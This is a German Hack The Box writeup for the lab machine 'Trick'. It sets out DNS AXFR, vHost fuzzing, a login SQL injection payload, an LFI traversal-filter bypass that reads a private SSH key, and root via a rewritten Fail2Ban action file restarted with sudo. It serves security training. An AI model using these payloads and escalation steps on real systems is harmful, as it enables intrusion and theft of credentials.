← Zurück zu Machines

HTB · published

Trick

Hack The Box CPTS-Track Writeup für Trick: DNS AXFR, vHost-Discovery, Payroll SQLi, Marketing LFI, SSH-Key-Disclosure und Fail2Ban Privilege Escalation.

HTBCPTSWriteupLinuxDNSLFIFail2BanMachine

Metadaten

  • Name: Trick
  • IP Address: 10.129.227.180
  • Plattform: Linux
  • Kategorie: DNS / vHost / SQLi / LFI / Fail2Ban
  • Schwierigkeit: Easy
  • Ziel(e): User, Root
  • Kurzbeschreibung: Trick ist eine Linux-Maschine mit SSH, SMTP, DNS und HTTP. Eine DNS-Zonentransfer-Misskonfiguration leakt preprod-payroll.trick.htb; Host-Header-Enumeration findet zusätzlich preprod-marketing.trick.htb. Die Marketing-App enthält eine LFI, über die der private SSH-Key von michael gelesen wird. Root wird über gruppenbeschreibbare Fail2Ban-Action-Dateien und eine sudo-Regel zum Neustarten von Fail2Ban erreicht.

Executive Summary

Der wichtigste Recon-Fund war DNS: trick.htb erlaubte einen AXFR-Zonentransfer und gab dadurch preprod-payroll.trick.htb preis. Zusätzlich wurde per Host-Header-Fuzzing preprod-marketing.trick.htb gefunden.

Die Payroll-App akzeptierte eine einfache Login-SQLi, lieferte aber nicht den finalen Weg. Die Marketing-App war wichtiger: Ihr page-Parameter war für Local File Inclusion anfällig. Durch verschachteltes Traversal konnte /etc/passwd und anschließend /home/michael/.ssh/id_rsa gelesen werden.

Mit dem SSH-Key gelang der Zugriff als michael. Dieser Benutzer war Mitglied der Gruppe security. Die Gruppe konnte Fail2Ban-Action-Dateien in /etc/fail2ban/action.d ersetzen, und michael durfte Fail2Ban per sudo als Root neu starten. Ein temporärer actionstart-Hook kopierte /root/root.txt nach /tmp/root.txt.

Reconnaissance / Enumeration

ICMP deutete mit TTL 63 auf Linux hin. Der Full-Port-Scan zeigte vier offene TCP-Ports:

nmap -Pn -p- --min-rate 2500 -T4 -oA scans/tcp_full 10.129.227.180
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
53/tcp open  domain
80/tcp open  http

Die wichtigsten Dienste:

22/tcp  OpenSSH 7.9p1 Debian
25/tcp  Postfix SMTP
53/tcp  ISC BIND 9.11.5
80/tcp  nginx 1.14.2

Reverse DNS zeigte:

trick.htb

DNS Enumeration

Da DNS offen war, wurde ein Zonentransfer getestet:

dig axfr trick.htb @10.129.227.180

Der Transfer war erlaubt und leakte einen Preprod-vHost:

preprod-payroll.trick.htb. CNAME trick.htb.

Host-Header-Fuzzing fand zusätzlich:

preprod-marketing.trick.htb

Damit ergaben sich drei relevante Hosts:

trick.htb
preprod-payroll.trick.htb
preprod-marketing.trick.htb

Web Enumeration

trick.htb zeigte nur eine statische Coming-Soon-Seite.

Die Payroll-Anwendung hatte einen Login-Endpunkt:

POST /ajax.php?action=login

Eine einfache SQL Injection funktionierte:

username=' OR 1=1-- -
password=x

Der Endpoint gab einen Success-Wert zurück:

1

Dadurch war eine Administrator-Session in der Payroll-App möglich. Für den finalen Foothold war aber die Marketing-App entscheidender.

Marketing LFI

Die Marketing-App lud Inhalte über den Parameter:

index.php?page=<file>

Direktes Traversal wurde gefiltert, aber verschachteltes Traversal überlebte die Normalisierung:

....//....//....//....//etc/passwd

/etc/passwd zeigte den lokalen Benutzer:

michael

Über denselben LFI-Bypass konnte der private SSH-Key gelesen werden:

....//....//....//....//home/michael/.ssh/id_rsa

Der Key wurde lokal gespeichert und für SSH genutzt.

Foothold: SSH als michael

chmod 600 michael_id_rsa
ssh -i michael_id_rsa michael@10.129.227.180

Damit war eine interaktive Shell als michael vorhanden.

User Flag

cat /home/michael/user.txt
dbc95XXXXXXXXXXXXXXX4eaf0a

Local Enumeration

Die Gruppenmitgliedschaft von michael war der zentrale Hinweis:

michael security

Die sudo-Regel erlaubte das Neustarten von Fail2Ban als Root:

(root) NOPASSWD: /etc/init.d/fail2ban restart

Zusätzlich war das Action-Verzeichnis für die Gruppe security beschreibbar:

/etc/fail2ban/action.d

Damit wurde Fail2Ban zu einem Root-Codeausführungspfad: Wenn michael eine Action-Datei ändern und Fail2Ban als Root neustarten kann, wird die manipulierte Action im Root-Kontext geladen.

Privilege Escalation: Fail2Ban Action Abuse

Die aktive SSH-Jail verwendete:

iptables-multiport.conf

Diese Action-Datei wurde temporär mit einem actionstart-Hook ersetzt:

[Definition]
actionstart = cp /root/root.txt /tmp/root.txt
              chmod 644 /tmp/root.txt
actionstop = true
actioncheck = true
actionban = true
actionunban = true

Danach wurde Fail2Ban per sudo neugestartet:

sudo /etc/init.d/fail2ban restart

Beim Start führte Fail2Ban den actionstart-Hook als Root aus und kopierte die Root-Flag nach /tmp/root.txt.

Root Flag

cat /tmp/root.txt
88812XXXXXXXXXXXXXXXXXXX14d33053

Cleanup

Nach dem Proof wurde /tmp/root.txt entfernt.

Außerdem wurden Owner und Mode der Action-Datei wieder auf Root/0644 gesetzt:

/etc/fail2ban/action.d/iptables-multiport.conf

Wichtig aus den Notizen: Der ursprüngliche Debian-Package-Inhalt wurde vor Ende der Session nicht vollständig wiederhergestellt. Die installierte Action-Datei enthielt danach noch den Cleanup-Hook statt des Originalinhalts.

Alternative Paths / Rabbit Holes

  • Die Payroll-App war per SQLi zugänglich und lieferte eine Administrator-Websession.
  • Der direkte Root-Weg kam aber über die Marketing-LFI und den SSH-Key.
  • SMTP und die statische Hauptseite brachten keinen direkteren Einstieg.

Post-Exploitation

  • Recon: DNS AXFR gegen trick.htb.
  • vHosts: preprod-payroll.trick.htb, preprod-marketing.trick.htb.
  • Foothold: LFI in Marketing-App liest /home/michael/.ssh/id_rsa.
  • User: SSH als michael, User-Flag in /home/michael/user.txt.
  • Root: Gruppenbeschreibbare Fail2Ban-Action + sudo-Neustart.
  • Root-Flag: über Fail2Ban actionstart nach /tmp/root.txt kopiert.

Lessons Learned

  • DNS nie überspringen: AXFR kann versteckte vHosts und ganze App-Tiers offenlegen.
  • vHost-Fuzzing ergänzt DNS: preprod-marketing wurde zusätzlich per Host-Header-Probing gefunden.
  • Filter-Normalisierung testen: ....// kann einfache Traversal-Filter umgehen.
  • SSH-Keys über LFI sind High Impact: Ein lesbarer privater Key ist oft direkt ein stabiler Foothold.
  • Gruppenrechte prüfen: Schreibzugriff auf Service-Action-Dateien ist kritisch.
  • Fail2Ban kann Root-Code ausführen: Besonders wenn ein Benutzer Actions ändern und den Dienst per sudo neustarten darf.

Tools Used

  • nmap
  • dig
  • curl
  • ffuf
  • feroxbuster
  • ssh
  • scp
  • Standard Linux enumeration commands